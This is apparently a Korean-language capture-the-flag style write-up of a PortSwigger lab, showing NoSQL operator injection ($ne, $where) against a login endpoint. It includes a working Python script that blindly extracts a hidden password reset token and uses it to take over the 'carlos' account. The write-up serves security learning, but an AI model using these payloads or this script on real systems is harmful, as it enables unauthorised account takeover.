Lab: Exploiting NoSQL operator injection to extract unknown fields

https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-unknown-fields

NoSQL Injection을 통해 필드를 추출해내는 문제다.

문제를 해결하려면 “carlos” 계정으로 로그인하면 된다. 그러므로 로그인 페이지를 확인한다. 우선 로그인 시도를 통해 패킷을 캡처한다.

## Request
{"username":"carlos","password":"asdf"}
## Response
Invalid username or password

패스워드 “asdf”는 틀린 비밀번호라 생각된다. 즉, 거짓에 대한 응답으로 “Invalid username or password”을 출력한다.


그렇다면 $ne 연산자를 사용해 참으로 만들어 로그인을 시도한다. 그러나 계정이 잠겨있다는 메시지와 함께 로그인을 할 수 없다.

## Request
{"username":"carlos","password":{"$ne":"asdf"}}
## Response
Account locked: please reset your password

참에 대해서는 “Account locked: please reset your password”을 출력한다.


더 확실하게 테스트를 하기 위해 $where 구문을 이용하여 참/거짓의 판별을 검사한다.

$where로 항상 거짓이 되게 설정하고 요청을 전송해 응답을 확인하면, 원래는 참이었던 요청이 거짓에 대한 응답을 전송한 것을 확인이 가능하다.


$where을 참으로 설정하고 요청을 전송하면, 원래 구문도 참이기 때문에 참에 대한 응답을 전송한다.

이것으로 참/거짓에 대한 응답을 반환하니 Blind NoSQL Injection이 가능하다.


아래와 같이 필드명의 길이를 참/거짓 응답을 통해 알아낼 수 있다. 첫 번째 필드명의 길이는 3이다.


구해야 하는 것은 비밀번호이므로 비밀번호를 저장하는 필드를 찾아야 한다. 각 필드의 첫 번째 글자가 ‘p’ 인 것을 찾아보기로 했다. 세 번째 필드가 ‘p’로 시작하는 필드다.


위와 같은 과정을 수동으로 시도하기엔 너무 오래 걸리므로 python을 작성해서 정보를 수집했다. 그리고 알아낸 결과는 아래와 같다.

0번 필드: _id
1번 필드: username
2번 필드: password
3번 필드: email
4번 필드: pwResetTkn

4번 필드는 패스워드 초기화 토큰 값을 저장하는 것으로 예상된다. 이번 문제에서 계정에 lock이 걸린 상태이니 해당 값을 알아내서 어떤 동작을 수행해야할 듯하다.


토큰의 값을 구하기 위해 아래의 코드를 사용했다.

import requests
################################################
## 수정해서 사용
# URL Number
url_number = "0a06001e04c065fc80411c3b005e0038"
# 세션 값
session = "b6oLwps9LK1MK3EorID61FN5bt1NJ1w4"
################################################

cookie = {"session":f"{session}"}
header = {"Content-Type":"application/json"}
words = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = f"https://{url_number}.web-security-academy.net/login"

length_count = 0
while True:
    body = {
        "username":"carlos",
        "password":{
            "$ne":"asdf"
        },
        "$where":f"this.pwResetTkn.length == '{length_count}'"
    }
    response = requests.post(url,cookies=cookie,headers=header,json=body)
    if "Invalid" in response.text:
        length_count += 1
    else:
        break
print(f"토큰의 길이: {length_count}")

token_value = ""
for digit in range(length_count):
    for word in words:
        body = {
            "username":"carlos",
            "password":{
                "$ne":"asdf"
            },
            "$where":f"this.pwResetTkn[{digit}] == '{word}'"
        }
        response = requests.post(url,cookies=cookie,headers=header,json=body)
        if "Account" in response.text:
            token_value += word
            break
print(f"토큰의 값: {token_value}")

그런데 문제는 이 정보를 어디에 써야할지 정보가 없다. 그래서 위 코드를 수정하여 이메일의 정보도 알아냈지만 문제용 이메일이라 해당 이메일에 로그인 할 수 없었다.


페이지를 돌아다니면서 OPTIONS 메서드도 사용하며 정보를 수집했지만 단서를 얻을 수 없어서 랩실 페이지의 [Solution]을 확인하니 [GET /forgot-password?YOURTOKENNAME=invalid] 형식으로 요청을 보내야 한다고 나와있다. 추출한 토큰을 전송해본다.


그랬더니 비밀번호를 변경할 수 있는 페이지를 출력한다. 이 페이지에서 비밀번호를 변경하고 로그인을 하면 문제가 해결될 것으로 보인다.


문제 해결👍👍

Published by